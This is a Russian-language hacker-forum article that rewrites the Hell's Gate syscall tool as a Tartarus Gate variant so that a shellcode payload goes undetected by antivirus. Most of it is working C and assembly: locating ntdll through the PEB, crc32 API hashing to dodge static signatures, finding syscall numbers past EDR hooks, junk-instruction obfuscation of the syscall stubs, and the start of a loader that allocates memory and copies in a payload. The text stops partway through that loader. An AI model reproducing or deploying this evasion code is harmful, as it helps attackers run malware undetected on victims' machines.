• XSS.stack #1 – первый литературный журнал от юзеров форума

Статья Переписываем Hell’s Gate и обходим антивирус

baykal

(L2) cache
Пользователь
Регистрация
16.03.2021
Сообщения
370
Реакции
838
Хочешь узнать, как обойти антивирусные программы с помощью системных вызовов? Мы раскроем секреты этой захватывающей техники, перепишем известный инструмент, попрограммируем на ассемблере и поищем паттерны в памяти, чтобы получить FUD-пейлоад!

ЧТО ТАКОЕ SYSCALL​

Многие антивирусные продукты (да и некоторые программы) любят ставить хуки. Я уже показывал вариант обхода хуков в User Mode через перезапись библиотеки ntdll.dll. Теперь изучим еще один способ обхода ловушек — через сисколы.

Сисколы (они же системные вызовы) — очень большая и интересная тема. Я постарался вкратце описать, что это и зачем они нужны. Если ты захочешь более глубоко погрузиться в тему, ниже найдешь несколько полезных ссылок.
Итак, сискол можно считать переходной стадией между пользовательским режимом (User Mode) и режимом ядра (Kernel Mode). Это как бы переход из одного мира системы в другой. Если еще проще, то сискол — просто обращение к ядру.

Вызовы ядра крайне важны для корректного функционирования системы. Например, именно заложенные в ядре функции позволяют создавать файлы. Каждый сискол однозначно идентифицируется по своему номеру. Этот номер называется по‑разному, где‑то Syscall Id, где‑то Syscall Number, где‑то SSN — System Service Number. Номер сискола подсказывает ядру, что ему нужно делать. Он заносится в регистр eax, после чего выполняется инструкция syscall, которая осуществляет переход в режим ядра.

Как выглядит вызов сисколов у разных функций

Проблема в том, что средства защиты могут ставить хуки непосредственно перед вызовом инструкции syscall. Например, как на следующем скриншоте.

Инструкция jmp перед syscall

Это может свидетельствовать о наличии хука. Ничто не мешает нам напрямую вызывать инструкцию syscall из адресного пространства своего процесса, такая техника называется Direct Syscall. Мы даже можем обращаться к инструкции syscall, найдя ее адрес в смапленной в наш процесс библиотеке ntdll.dll (такая техника называется Indirect Syscall). Проблема лишь одна — нужен SSN. Без номера сискола, сохраненного в регистре eax, ничего не получится.

ТЕХНИКА ПОИСКА SSN​

SSN различается от системы к системе. Он зависит от версии Windows. Есть отличная таблица актуальных сисколов, но каждый раз хардкодить SSN вообще не вариант. Поэтому давно придуманы способы динамически доставать номера сисколов, а затем уже с этими номерами выполнять Direct- или Indirect-вызовы.

Давай разберем один из самых известных методов — Hell’s Gate, а затем перепишем его под Tartarus Gate.

Техника обнаружения SSN достаточно проста. Сначала, чтобы получить загруженный в процесс адрес ntdll.dll, программа достает адреса TEB (Thread Environment Block), за ним PEB (Process Environment Block). А после извлекает из таблицы PEB_LDR_DATA базовый адрес загрузки ntdll.dll.
Код:
PTEB RtlGetThreadEnvironmentBlock() {
#if _WIN64
    return (PTEB)__readgsqword(0x30);
#else
    return (PTEB)__readfsdword(0x16);
#endif
}
INT wmain() {
    PTEB pCurrentTeb = RtlGetThreadEnvironmentBlock();
    PPEB pCurrentPeb = pCurrentTeb->ProcessEnvironmentBlock;
    if (!pCurrentPeb || !pCurrentTeb || pCurrentPeb->OSMajorVersion != 0xA)
        return 0x1;
    PLDR_DATA_TABLE_ENTRY pLdrDataEntry = (PLDR_DATA_TABLE_ENTRY)((PBYTE)pCurrentPeb->LoaderData->InMemoryOrderModuleList.Flink->Flink - 0x10);
    ...
}
Программа, зная базовый адрес загрузки библиотеки, получает адрес EAT (Export Address Table). В этой таблице содержатся адреса всех экспортируемых из библиотеки функций.
Код:
BOOL GetImageExportDirectory(PVOID pModuleBase, PIMAGE_EXPORT_DIRECTORY* ppImageExportDirectory) {
    // Get DOS header
    PIMAGE_DOS_HEADER pImageDosHeader = (PIMAGE_DOS_HEADER)pModuleBase;
    if (pImageDosHeader->e_magic != IMAGE_DOS_SIGNATURE) {
        return FALSE;
    }
    // Get NT headers
    PIMAGE_NT_HEADERS pImageNtHeaders = (PIMAGE_NT_HEADERS)((PBYTE)pModuleBase + pImageDosHeader->e_lfanew);
    if (pImageNtHeaders->Signature != IMAGE_NT_SIGNATURE) {
        return FALSE;
    }
    // Get the EAT
    *ppImageExportDirectory = (PIMAGE_EXPORT_DIRECTORY)((PBYTE)pModuleBase + pImageNtHeaders->OptionalHeader.DataDirectory[0].VirtualAddress);
    return TRUE;
}
После успешного получения всех адресов идет инициализация специальной структуры — структуры VX_TABLE.
Код:
typedef struct _VX_TABLE_ENTRY {
    PVOID   pAddress;
    DWORD64 dwHash;
    WORD    wSystemCall;
} VX_TABLE_ENTRY, * PVX_TABLE_ENTRY;
typedef struct _VX_TABLE {
    VX_TABLE_ENTRY NtAllocateVirtualMemory;
    VX_TABLE_ENTRY NtProtectVirtualMemory;
    VX_TABLE_ENTRY NtCreateThreadEx;
    VX_TABLE_ENTRY NtWaitForSingleObject;
} VX_TABLE, * PVX_TABLE;
Таблица VX_TABLE состоит из других структур VX_TABLE_ENTRY. Внутри них будут заполнены элементы pAddress, dwHash и wSystemCall, которые отвечают соответственно за адрес нужной функции, хеш от имени функции (он потребуется для API Hashing) и номера системного вызова.

Для обнаружения сискола используется функция GetVxTableEntry(), но перед этим предварительно инициализируется элемент dwHash описанной выше структуры. Хеш рассчитывается заранее. Для этого используется алгоритм djb2, вынесенный в отдельную функцию.
Код:
VX_TABLE Table = { 0 };
Table.NtAllocateVirtualMemory.dwHash = 0xf5bd373480a6b89b;
if (!GetVxTableEntry(pLdrDataEntry->DllBase, pImageExportDirectory, &Table.NtAllocateVirtualMemory))
    return 0x1;
GetVxTableEntry() парсит EAT и обнаруживает адрес нужной функции с помощью API Hashing.
Код:
if (djb2(pczFunctionName) == pVxTableEntry->dwHash) {
    pVxTableEntry->pAddress = pFunctionAddress;
    ...
После обнаружения нужной функции ее адрес записывается в таблицу, а затем ищется номер сискола для этой функции. Hell’s Gate ищет паттерн, характерный для вызова сискола.
Код:
mov r10,rcx
mov rcx,<syscall number>
Так выглядит шаблон вызова сискола

Для этого Hell’s Gate сканирует память на наличие соответствующих опкодов.
Код:
if (*((PBYTE)pFunctionAddress + cw) == 0x4c
    && *((PBYTE)pFunctionAddress + 1 + cw) == 0x8b
    && *((PBYTE)pFunctionAddress + 2 + cw) == 0xd1
    && *((PBYTE)pFunctionAddress + 3 + cw) == 0xb8
    && *((PBYTE)pFunctionAddress + 6 + cw) == 0x00
    && *((PBYTE)pFunctionAddress + 7 + cw) == 0x00) {
    BYTE high = *((PBYTE)pFunctionAddress + 5 + cw);
    BYTE low = *((PBYTE)pFunctionAddress + 4 + cw);
    pVxTableEntry->wSystemCall = (high << 8) | low;
    break;
}
Опкоды

Если паттерн найден, начинается вычленение номера сискола. Для наглядности возьмем сискол с «длинным» номером, например 10F. В дизассемблере увидим интересную картину.

Как выглядит номер сискола в памяти

Инструкция, сохраняющая номер сискола в регистр eax, выглядит вроде бы нормально, но если мы посмотрим внимательнее, то увидим, что номер сискола представлен как бы в перевернутом виде.
Код:
B8 0F010000
mov eax,10F  # 0xb8 0x0F 0x01 0x00 0x00
Hell’s Gate знает о таком поведении системы, поэтому вычленяет сисколы с использованием специального алгоритма.
Код:
BYTE high = *((PBYTE)pFunctionAddress + 5 + cw);
BYTE low = *((PBYTE)pFunctionAddress + 4 + cw);
pVxTableEntry->wSystemCall = (high << 8) | low;
break;
Если мы поставим бряк на предпоследнюю строчку кода, то увидим, что в high попадает «верхняя» часть, а в low — «нижняя».

Номер сискола


Что вычленяет Hell’s Gate

Соответственно, если алгоритм вычленяет SSN 10F, то переменные инициализируются как 0x1 и 0xF.

Инициализация и high, и low

В wSystemmCall заносится значение high со сдвигом влево на 8 байт. Это приводит к получению из 0000 0001 значения 1 0000 0000. Следующим шагом выполняется побитовая операция ИЛИ со значением 0000 1111 (0xF в двоичной системе счисления), в результате мы получаем 1 0000 1111. А это, в свою очередь, равно 10F. 10F как раз и есть номер сискола.

Подсчет номера сискола

Дополнительно программа проверяет, не ушли ли мы в поиске номера сискола слишком далеко. Для этого также используются опкоды.

Dead Codes


ИЗМЕНЕНИЕ АЛГОРИТМА ХЕШИРОВАНИЯ​

Начнем с того, что сменим алгоритм djb2 на какой‑нибудь другой, например на crc32h. Это нужно, чтобы из нашего пейлоада пропали некоторые статик‑детекты, основанные на хешах используемых нами имен WinAPI-функций. Для этого создадим функцию, реализующую логику по хешированию.
Код:
#define SEED 0xEDB88320
...
unsigned int crc32h(char* message) {
    int i, crc;
    unsigned int byte, c;
    const unsigned int g0 = SEED, g1 = g0 >> 1,
        g2 = g0 >> 2, g3 = g0 >> 3, g4 = g0 >> 4, g5 = g0 >> 5,
        g6 = (g0 >> 6) ^ g0, g7 = ((g0 >> 6) ^ g0) >> 1;
    i = 0;
    crc = 0xFFFFFFFF;
    while ((byte = message[i]) != 0) {
        crc = crc ^ byte;
        c = ((crc << 31 >> 31) & g7) ^ ((crc << 30 >> 31) & g6) ^
            ((crc << 29 >> 31) & g5) ^ ((crc << 28 >> 31) & g4) ^
            ((crc << 27 >> 31) & g3) ^ ((crc << 26 >> 31) & g2) ^
            ((crc << 25 >> 31) & g1) ^ ((crc << 24 >> 31) & g0);
        crc = ((unsigned)crc >> 8) ^ c;
        i = i + 1;
    }
    return ~crc;
}
Конечно, можно было просто поменять SEED-значение и рассчитываемый хеш в функции djb2(), но мы все‑таки решили полноценно переписать инструмент, а не баловаться, меняя переменные.

Hash- и SEED-значения

Для удобства вызова и автоматического приведения к нужному типу создадим макрос.
Код:
#define HASH(API) crc32h((char*)API)
Так как мы пока незнакомы с Compile-Time API Hashing, напишем программу для пересчета хешей от нужных нам функций.
Код:
#include <Windows.h>
#include <stdio.h>
#define SEED 0xEDB88320
#define STR "_CRC32"
unsigned int crc32h(char* message) {
    int i, crc;
    unsigned int byte, c;
    const unsigned int g0 = SEED, g1 = g0 >> 1,
        g2 = g0 >> 2, g3 = g0 >> 3, g4 = g0 >> 4, g5 = g0 >> 5,
        g6 = (g0 >> 6) ^ g0, g7 = ((g0 >> 6) ^ g0) >> 1;
    i = 0;
    crc = 0xFFFFFFFF;
    while ((byte = message[i]) != 0) {
        crc = crc ^ byte;
        c = ((crc << 31 >> 31) & g7) ^ ((crc << 30 >> 31) & g6) ^
            ((crc << 29 >> 31) & g5) ^ ((crc << 28 >> 31) & g4) ^
            ((crc << 27 >> 31) & g3) ^ ((crc << 26 >> 31) & g2) ^
            ((crc << 25 >> 31) & g1) ^ ((crc << 24 >> 31) & g0);
        crc = ((unsigned)crc >> 8) ^ c;
        i = i + 1;
    }
    return ~crc;
}
#define HASH(API) crc32h((char*)API)
int main() {
    printf("#define %s%s \t 0x%0.8X \n", "NtAllocateVirtualMemory", STR, HASH("NtAllocateVirtualMemory"));
    printf("#define %s%s \t 0x%0.8X \n", "NtProtectVirtualMemory", STR, HASH("NtProtectVirtualMemory"));
    printf("#define %s%s \t 0x%0.8X \n", "NtCreateThreadEx", STR, HASH("NtCreateThreadEx"));
    printf("#define %s%s \t 0x%0.8X \n", "NtWaitForSingleObject", STR, HASH("NtWaitForSingleObject"));
    return 0;
}
Новые хеши


ИЗМЕНЕНИЕ GETVXTABLEENTRY​

Как ты помнишь, функция GetVxTableEntry() используется для получения номера сискола. Проблема в том, что вызывается она далеко не один раз, но при каждом вызове идет повторный расчет всех нужных адресов, что сказывается на эффективности работы программы. Предлагаю завести отдельную структуру NTDLL_CONFIG, внутри которой будут содержаться все эти данные. Их достаточно инициализировать лишь единожды, а затем можно просто обращаться к ним.
Код:
typedef struct _NTDLL_CONFIG
{
    PDWORD      pdwArrayOfAddresses;
    PDWORD      pdwArrayOfNames;
    PWORD       pwArrayOfOrdinals;
    DWORD       dwNumberOfNames;
    ULONG_PTR   uModule;
}NTDLL_CONFIG, *PNTDLL_CONFIG;
// Глобальная переменная, которая будет все это хранить
NTDLL_CONFIG g_NtdllConf = { 0 };
Для инициализации достаточно один раз вызвать функцию InitNtdllConfigStructure().
Код:
BOOL InitNtdllConfigStructure() {
    // Получение peb
    PPEB pPeb = (PPEB)__readgsqword(0x60);
    if (!pPeb || pPeb->OSMajorVersion != 0xA)
        return FALSE;
    // Получение ntdll.dll (первый элемент. Нулевой — наша программа)
    PLDR_DATA_TABLE_ENTRY pLdr = (PLDR_DATA_TABLE_ENTRY)((PBYTE)pPeb->LoaderData->InMemoryOrderModuleList.Flink->Flink - 0x10);
    // Получение базового адреса загрузки ntdll.dll
    ULONG_PTR uModule = (ULONG_PTR)(pLdr->DllBase);
    if (!uModule)
        return FALSE;
    // Получение DOS-хедера
    PIMAGE_DOS_HEADER pImgDosHdr = (PIMAGE_DOS_HEADER)uModule;
    if (pImgDosHdr->e_magic != IMAGE_DOS_SIGNATURE)
        return FALSE;
    // Получение NT-заголовков
    PIMAGE_NT_HEADERS pImgNtHdrs = (PIMAGE_NT_HEADERS)(uModule + pImgDosHdr->e_lfanew);
    if (pImgNtHdrs->Signature != IMAGE_NT_SIGNATURE)
        return FALSE;
    // Получение таблицы экспортов
    PIMAGE_EXPORT_DIRECTORY pImgExpDir = (PIMAGE_EXPORT_DIRECTORY)(uModule + pImgNtHdrs->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress);
    if (!pImgExpDir)
        return FALSE;
    // Инициализация всех элементов у глобальной переменной
    g_NtdllConf.uModule             = uModule;
    g_NtdllConf.dwNumberOfNames     = pImgExpDir->NumberOfNames;
    g_NtdllConf.pdwArrayOfNames     = (PDWORD)(uModule + pImgExpDir->AddressOfNames);
    g_NtdllConf.pdwArrayOfAddresses = (PDWORD)(uModule + pImgExpDir->AddressOfFunctions);
    g_NtdllConf.pwArrayOfOrdinals   = (PWORD)(uModule  + pImgExpDir->AddressOfNameOrdinals);
    // Проверка
    if (!g_NtdllConf.uModule || !g_NtdllConf.dwNumberOfNames || !g_NtdllConf.pdwArrayOfNames || !g_NtdllConf.pdwArrayOfAddresses || !g_NtdllConf.pwArrayOfOrdinals)
        return FALSE;
    else
        return TRUE;
}
Саму функцию GetVxTableEntry() следует переименовать в FetchNtSyscall(). Мы оставим всего два параметра: dwSysHash (хеш‑значение от имени функции, которую нужно засисколить) и pNtSys — указатель на структуру NT_SYSCALL, которая будет содержать всю необходимую информацию для осуществления сискола.
Код:
typedef struct _NT_SYSCALL
{
    DWORD dwSSn;
    DWORD dwSyscallHash;
    PVOID pSyscallAddress;
}NT_SYSCALL, *PNT_SYSCALL;
Функцию InitNtdllConfigStructure() следует вызывать из функции FetchNtSyscall(). Предлагаю просто проверять, инициализирован ли элемент, содержащий базовый адрес загрузки ntdll.dll. Если нет, то вызываем функцию, если этот элемент уже имеет какое‑то значение, то вызов не требуется. Алгоритм для поиска сискола пока что не меняем.
Код:
BOOL FetchNtSyscall(IN DWORD dwSysHash, OUT PNT_SYSCALL pNtSys) {
    if (!g_NtdllConf.uModule) {
        if (!InitNtdllConfigStructure())
            return FALSE;
    }
    if (dwSysHash != NULL)
        pNtSys->dwSyscallHash = dwSysHash;
    else
        return FALSE;
    for (size_t i = 0; i < g_NtdllConf.dwNumberOfNames; i++) {
        PCHAR pcFuncName   = (PCHAR)(g_NtdllConf.uModule + g_NtdllConf.pdwArrayOfNames[i]);
        PVOID pFuncAddress = (PVOID)(g_NtdllConf.uModule + g_NtdllConf.pdwArrayOfAddresses[g_NtdllConf.pwArrayOfOrdinals[i]]);
        if (HASH(pcFuncName) == dwSysHash) {
            pNtSys->pSyscallAddress = pFuncAddress;
            WORD cw = 0;
            while (TRUE) {
                ...тут алгоритм поиска сискола...
                }
                cw++;
            }
            break;
        }
    }
    // Если что-то не инициализировалось, то все плохо
    if (pNtSys->dwSSn != NULL && pNtSys->pSyscallAddress != NULL && pNtSys->dwSyscallHash != NULL)
        return TRUE;
    else
        return FALSE;
}

ИЗМЕНЕНИЕ ЛОГИКИ ПОИСКА СИСКОЛА​

Hell’s Gate — один из простейших способов нахождения сискола. Проблема в том, что он просто пробегает по памяти в одном направлении, пытаясь обнаружить сискол. К сожалению, в современных реалиях этот вариант, мягко говоря, не самый рабочий. Что мешает антивирусному продукту внести некоторые изменения? Например, добавить лишнюю инструкцию, чтобы сломать поиск Hell’s Gate.

Неизмененную последовательность без проблем получится обнаружить, но если мы просто добавим лишние инструкции? Напомню, как выглядит паттерн, который ищет сискол.
Код:
0x4c 0x8b 0xd1 0xb8 ... 0x00 0x00
Неизмененный код

В х64dbg нагло тыкаем «Ассемблировать» и меняем одну инструкцию на другую.

Измененный код

Код:
0x4c 0x8b 0xd1 [ ВОТ ТУТ ПОИСК ЛОМАЕТСЯ ] 0xb9 ... 0x00 0x00
Теперь номер сискола достать не получится. Тем не менее не стоит отчаиваться, так как проблема эта известная и умные люди придумали пути решения — Halo’s Gate и Tartarus Gate. Оба этих алгоритма поиска номера сискола основываются на том, что эти самые номера инкрементируются. Если у одной функции номер сискола 1, то у следующей за ней номер 2.

Увеличивающиеся SSN

Таким образом, зная номер сискола одной функции, можно без проблем достать номера сисколов следующих за ней функций. Дополнительно в алгоритме используется такая особенность: разница между сохраняющими номера сисколов инструкциями составляет 32 бита (0x...F283 – 0x...F263 = 0x20). Это значение хранится в переменных GoUp и GoDown соответственно.

Смещения адресов

С помощью этого алгоритма Halo’s Gate проверяет также наличие хука — если встречается инструкция jmp, то хук явно присутствует, поэтому начинается процедура получения номера нехукнутого сискола.
Код:
int GoUp -32;
int GoDown 32;
// Если первая инструкция — jmp
if (*((PBYTE)pFunctionAddress) == 0xe9) {
    // Идем вверх и вниз в поиске номера сискола
    for (WORD index = 1; index <= 500; index++) {
        // Идем вниз, ищем паттерн
        if (*((PBYTE)pFunctionAddress + index * GoDown) == 0x4c
            && *((PBYTE)pFunctionAddress + 1 + index * GoDown) == 0x8b
            && *((PBYTE)pFunctionAddress + 2 + index * GoDown) == 0xd1
            && *((PBYTE)pFunctionAddress + 3 + index * GoDown) == 0xb8
            && *((PBYTE)pFunctionAddress + 6 + index * GoDown) == 0x00
            && *((PBYTE)pFunctionAddress + 7 + index * GoDown) == 0x00) {
            BYTE high = *((PBYTE)pFunctionAddress + 5 + index * GoDown);
            BYTE low = *((PBYTE)pFunctionAddress + 4 + index * GoDown);
            // Паттерн найден, заносим номер сискола
            pVxTableEntry->wSystemCall = (high << 8) | low - index;
            return TRUE;
        }
        // Идем вверх, ищем паттерн
        if (*((PBYTE)pFunctionAddress + index * GoUp) == 0x4c
            && *((PBYTE)pFunctionAddress + 1 + index * GoUp) == 0x8b
            && *((PBYTE)pFunctionAddress + 2 + index * GoUp) == 0xd1
            && *((PBYTE)pFunctionAddress + 3 + index * GoUp) == 0xb8
            && *((PBYTE)pFunctionAddress + 6 + index * GoUp) == 0x00
            && *((PBYTE)pFunctionAddress + 7 + index * GoUp) == 0x00) {
            BYTE high = *((PBYTE)pFunctionAddress + 5 + index * GoUp);
            BYTE low = *((PBYTE)pFunctionAddress + 4 + index * GoUp);
            // Паттерн найден, заносим номер сискола
            pVxTableEntry->wSystemCall = (high << 8) | low + index;
            return TRUE;
        }
}
Не сказать, что идея неправильная. Думаю, вполне логично таким образом проверять хуки. Тем не менее теория имеет изъяны: что, если инструкция jmp стоит, скажем, после сохранения номера сискола? Либо просто где‑то до инструкции syscall? Например, следующий код пройдет проверку сканирования памяти (нужные опкоды будут обнаружены), но номер сискола вычленить не получится.

Пример умного хука

Поэтому был придуман Tartarus Gate. Этот алгоритм дополнительно проверяет и последующий (четвертый) байт на наличие инструкции jmp. Если этот байт равен e9, то выполняется стандартная процедура по алгоритму Halo’s Gate с нахождением номера нехукнутого сискола и последующим восстановлением всей цепочки.

Я предлагаю использовать Tartarus Gate в нашей функции FetchNtSyscall() для вычленения номера сискола. В код функции добавится алгоритм Halo’s Gate и проверка следующего байта на наличие инструкции jmp.
Код:
#define UP -32
#define DOWN 32
#define RANGE 500
...
BOOL FetchNtSyscall(IN DWORD dwSysHash, OUT PNT_SYSCALL pNtSys) {
    if (!g_NtdllConf.uModule) {
        if (!InitNtdllConfigStructure())
            return FALSE;
    }
    if (dwSysHash != NULL)
        pNtSys->dwSyscallHash = dwSysHash;
    else
        return FALSE;
    for (size_t i = 0; i < g_NtdllConf.dwNumberOfNames; i++){
        PCHAR pcFuncName    = (PCHAR)(g_NtdllConf.uModule + g_NtdllConf.pdwArrayOfNames[i]);
        PVOID pFuncAddress  = (PVOID)(g_NtdllConf.uModule + g_NtdllConf.pdwArrayOfAddresses[g_NtdllConf.pwArrayOfOrdinals[i]]);
        pNtSys->pSyscallAddress = pFuncAddress;
        if (HASH(pcFuncName) == dwSysHash) {
            if (*((PBYTE)pFuncAddress) == 0x4C
                && *((PBYTE)pFuncAddress + 1) == 0x8B
                && *((PBYTE)pFuncAddress + 2) == 0xD1
                && *((PBYTE)pFuncAddress + 3) == 0xB8
                && *((PBYTE)pFuncAddress + 6) == 0x00
                && *((PBYTE)pFuncAddress + 7) == 0x00) {
                BYTE high = *((PBYTE)pFuncAddress + 5);
                BYTE low  = *((PBYTE)pFuncAddress + 4);
                pNtSys->dwSSn = (high << 8) | low;
                break;
            }
            // Halo’s Gate
            if (*((PBYTE)pFuncAddress) == 0xE9) {
                for (WORD idx = 1; idx <= RANGE; idx++) {
                    // Идем вниз
                    if (*((PBYTE)pFuncAddress + idx * DOWN) == 0x4C
                        && *((PBYTE)pFuncAddress + 1 + idx * DOWN) == 0x8B
                        && *((PBYTE)pFuncAddress + 2 + idx * DOWN) == 0xD1
                        && *((PBYTE)pFuncAddress + 3 + idx * DOWN) == 0xB8
                        && *((PBYTE)pFuncAddress + 6 + idx * DOWN) == 0x00
                        && *((PBYTE)pFuncAddress + 7 + idx * DOWN) == 0x00) {
                        BYTE high = *((PBYTE)pFuncAddress + 5 + idx * DOWN);
                        BYTE low  = *((PBYTE)pFuncAddress + 4 + idx * DOWN);
                        pNtSys->dwSSn = (high << 8) | low - idx;
                        break;
                    }
                    // Идем вверх
                    if (*((PBYTE)pFuncAddress + idx * UP) == 0x4C
                        && *((PBYTE)pFuncAddress + 1 + idx * UP) == 0x8B
                        && *((PBYTE)pFuncAddress + 2 + idx * UP) == 0xD1
                        && *((PBYTE)pFuncAddress + 3 + idx * UP) == 0xB8
                        && *((PBYTE)pFuncAddress + 6 + idx * UP) == 0x00
                        && *((PBYTE)pFuncAddress + 7 + idx * UP) == 0x00) {
                        BYTE high = *((PBYTE)pFuncAddress + 5 + idx * UP);
                        BYTE low  = *((PBYTE)pFuncAddress + 4 + idx * UP);
                        pNtSys->dwSSn = (high << 8) | low + idx;
                        break;
                    }
                }
            }
            // Tartarus Gate
            if (*((PBYTE)pFuncAddress + 3) == 0xE9) {
                for (WORD idx = 1; idx <= RANGE; idx++) {
                    // Идем вниз
                    if (*((PBYTE)pFuncAddress + idx * DOWN) == 0x4C
                        && *((PBYTE)pFuncAddress + 1 + idx * DOWN) == 0x8B
                        && *((PBYTE)pFuncAddress + 2 + idx * DOWN) == 0xD1
                        && *((PBYTE)pFuncAddress + 3 + idx * DOWN) == 0xB8
                        && *((PBYTE)pFuncAddress + 6 + idx * DOWN) == 0x00
                        && *((PBYTE)pFuncAddress + 7 + idx * DOWN) == 0x00) {
                        BYTE high = *((PBYTE)pFuncAddress + 5 + idx * DOWN);
                        BYTE low = *((PBYTE)pFuncAddress + 4 + idx * DOWN);
                        pNtSys->dwSSn = (high << 8) | low - idx;
                        break;
                    }
                    // Идем вверх
                    if (*((PBYTE)pFuncAddress + idx * UP) == 0x4C
                        && *((PBYTE)pFuncAddress + 1 + idx * UP) == 0x8B
                        && *((PBYTE)pFuncAddress + 2 + idx * UP) == 0xD1
                        && *((PBYTE)pFuncAddress + 3 + idx * UP) == 0xB8
                        && *((PBYTE)pFuncAddress + 6 + idx * UP) == 0x00
                        && *((PBYTE)pFuncAddress + 7 + idx * UP) == 0x00) {
                        BYTE high = *((PBYTE)pFuncAddress + 5 + idx * UP);
                        BYTE low = *((PBYTE)pFuncAddress + 4 + idx * UP);
                        pNtSys->dwSSn = (high << 8) | low + idx;
                        break;
                    }
                }
            }
            break;
        }
    }
    if (pNtSys->dwSSn != NULL && pNtSys->pSyscallAddress != NULL && pNtSys->dwSyscallHash != NULL)
        return TRUE;
    else
        return FALSE;
}

ИЗМЕНЕНИЕ ASM-ФАЙЛА​

В проекте Hell’s Gate присутствует и файл на ассемблере.
Код:
.data
    wSystemCall DWORD 000h
.code
    HellsGate PROC
        mov wSystemCall, 000h
        mov wSystemCall, ecx
        ret
    HellsGate ENDP
    HellDescent PROC
        mov r10, rcx
        mov eax, wSystemCall
        syscall
        ret
    HellDescent ENDP
end
В функции HellsGate выполняется сохранение номера сискола, а в HellsDescent — вызов нужной функции. В языке C к этим функциям можно обратиться, объявив внешние функции (ключевое слово — extern).
Код:
extern VOID HellsGate(WORD wSystemCall);
extern HellDescent();
HellsGate(pVxTable->NtAllocateVirtualMemory.wSystemCall);
status = HellDescent((HANDLE)-1, &lpAddress, 0, &sDataSize, MEM_COMMIT, PAGE_READWRITE);
Обрати внимание: если бы ты захотел переписать код на C++, то потребовалось бы изменить объявление функции HellDescent, так как в C++ каждая функция должна иметь явное указание на то, что она возвращает.
Код:
extern VOID HellDescent();
Предлагаю добавить чуть‑чуть обфускации, то есть разбавить эти ассемблерные инструкции чем‑нибудь еще. Сначала попробуем имена функций HellsGate и HellsDescent заменить SetSSn и RunSyscall.
Код:
.data
    wSystemCall DWORD 0000h
.code
    SetSSn PROC
        mov wSystemCall, 000h
        mov wSystemCall, ecx
        ret
    SetSSn ENDP
    RunSyscall PROC
        mov r10, rcx
        mov eax, wSystemCall
        syscall
        ret
    RunSyscall ENDP
end
Теперь нужно внести изменения, которые никак не отразятся на логике выполнения программы. Добавим парочку «мусорных» инструкций.
Код:
.data
    wSystemCall DWORD 0000h
.code
    SetSSn PROC
            xor eax, eax            ; eax = 0
            mov wSystemCall, eax        ; wSystemCall = 0
            mov eax, ecx            ; eax = ssn
            mov r8d, eax            ; r8d = eax = ssn
            mov wSystemCall, r8d        ; wSystemCall = r8d = eax = ssn
            ret
    SetSSn ENDP
    RunSyscall PROC
            xor r10, r10            ; r10 = 0
            mov rax, rcx            ; rax = rcx
            mov r10, rax            ; r10 = rax = rcx
            mov eax, wSystemCall        ; eax = ssn
            jmp Run                  ; goto 'Run'
            xor eax, eax     ; no run
            xor rcx, rcx     ; no run
            shl r10, 2       ; no run
        Run:
            syscall
            ret
    RunSyscall ENDP
end
Итак, в функции SetSSn сначала мы ксорим регистры друг с другом, что приводит к обнулению находящегося в них значения. Полученное значение записываем в переменную, которая будет содержать номер сискола, перекидываем из одного регистра в другой и, наконец, записываем нужный SSN в переменную.

Функция RunSyscall особо ничем не отличается — в ней лишь была добавлена метка.

ПРЕДВАРИТЕЛЬНЫЙ РЕЗУЛЬТАТ​

У нас почти все готово: алгоритм переписан, хеши сгенерированы, ассемблерный код слабенько, но обфусцирован. Остается лишь исправить последние структуры. В Hell’s Gate есть таблица VX_TABLE, которая содержит структуры функций VX_TABLE_ENTRY. Их нужно засисколить. Так как VX_TABLE_ENTRY мы уже изменили, осталось лишь переписать саму VX_TABLE.
Код:
typedef struct _NTAPI_FUNC
{
    NT_SYSCALL  NtAllocateVirtualMemory;
    NT_SYSCALL  NtProtectVirtualMemory;
    NT_SYSCALL  NtCreateThreadEx;
    NT_SYSCALL  NtWaitForSingleObject;
}NTAPI_FUNC, *PNTAPI_FUNC;
// Глобальная переменная
NTAPI_FUNC g_Nt = { 0 };
Инициализацию этой структуры вновь выносим в отдельную функцию InitializeNtSyscalls().
Код:
BOOL InitializeNtSyscalls() {
    if (!FetchNtSyscall(NtAllocateVirtualMemory_CRC32, &g_Nt.NtAllocateVirtualMemory)) {
        printf("[!] Failed In Obtaining The Syscall Number Of NtAllocateVirtualMemory \n");
        return FALSE;
    }
    printf("[+] Syscall Number Of NtAllocateVirtualMemory Is : 0x%0.2X \n", g_Nt.NtAllocateVirtualMemory.dwSSn);
    if (!FetchNtSyscall(NtProtectVirtualMemory_CRC32, &g_Nt.NtProtectVirtualMemory)) {
        printf("[!] Failed In Obtaining The Syscall Number Of NtProtectVirtualMemory \n");
        return FALSE;
    }
    printf("[+] Syscall Number Of NtProtectVirtualMemory Is : 0x%0.2X \n", g_Nt.NtProtectVirtualMemory.dwSSn);
    if (!FetchNtSyscall(NtCreateThreadEx_CRC32, &g_Nt.NtCreateThreadEx)) {
        printf("[!] Failed In Obtaining The Syscall Number Of NtCreateThreadEx \n");
        return FALSE;
    }
    printf("[+] Syscall Number Of NtCreateThreadEx Is : 0x%0.2X \n", g_Nt.NtCreateThreadEx.dwSSn);
    if (!FetchNtSyscall(NtWaitForSingleObject_CRC32, &g_Nt.NtWaitForSingleObject)) {
        printf("[!] Failed In Obtaining The Syscall Number Of NtWaitForSingleObject \n");
        return FALSE;
    }
    printf("[+] Syscall Number Of NtWaitForSingleObject Is : 0x%0.2X \n", g_Nt.NtWaitForSingleObject.dwSSn);
    return TRUE;
}
Здесь NtAllocateVirtualMemory_CRC32, NtProtectVirtualMemory_CRC32 и тому подобные — значения, которые были сгенерированы ранее с помощью программы‑хешера.

В результате наших манипуляций главная функция main() приобретает следующий вид.
Код:
int main() {
    NTSTATUS    STATUS      = NULL;
    PVOID       pAddress    = NULL;
    SIZE_T      sSize       = sizeof(Payload);
    DWORD       dwOld       = NULL;
    HANDLE      hProcess    = (HANDLE)-1,   // Текущий процесс
                hThread     = NULL;
    if (!InitializeNtSyscalls()) {
        printf("[!] Failed To Initialize The Specified Direct-Syscalls \n");
        return -1;
    }
    SetSSn(g_Nt.NtAllocateVirtualMemory.dwSSn);
    if ((STATUS = RunSyscall(hProcess, &pAddress, 0, &sSize, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE)) != 0x00 || pAddress == NULL) {
        printf("[!] NtAllocateVirtualMemory Failed With Error: 0x%0.8X \n", STATUS);
        return -1;
    }
    memcpy(pAddress, Payload, sizeof(Payload));
    sSize = sizeof(Payload);
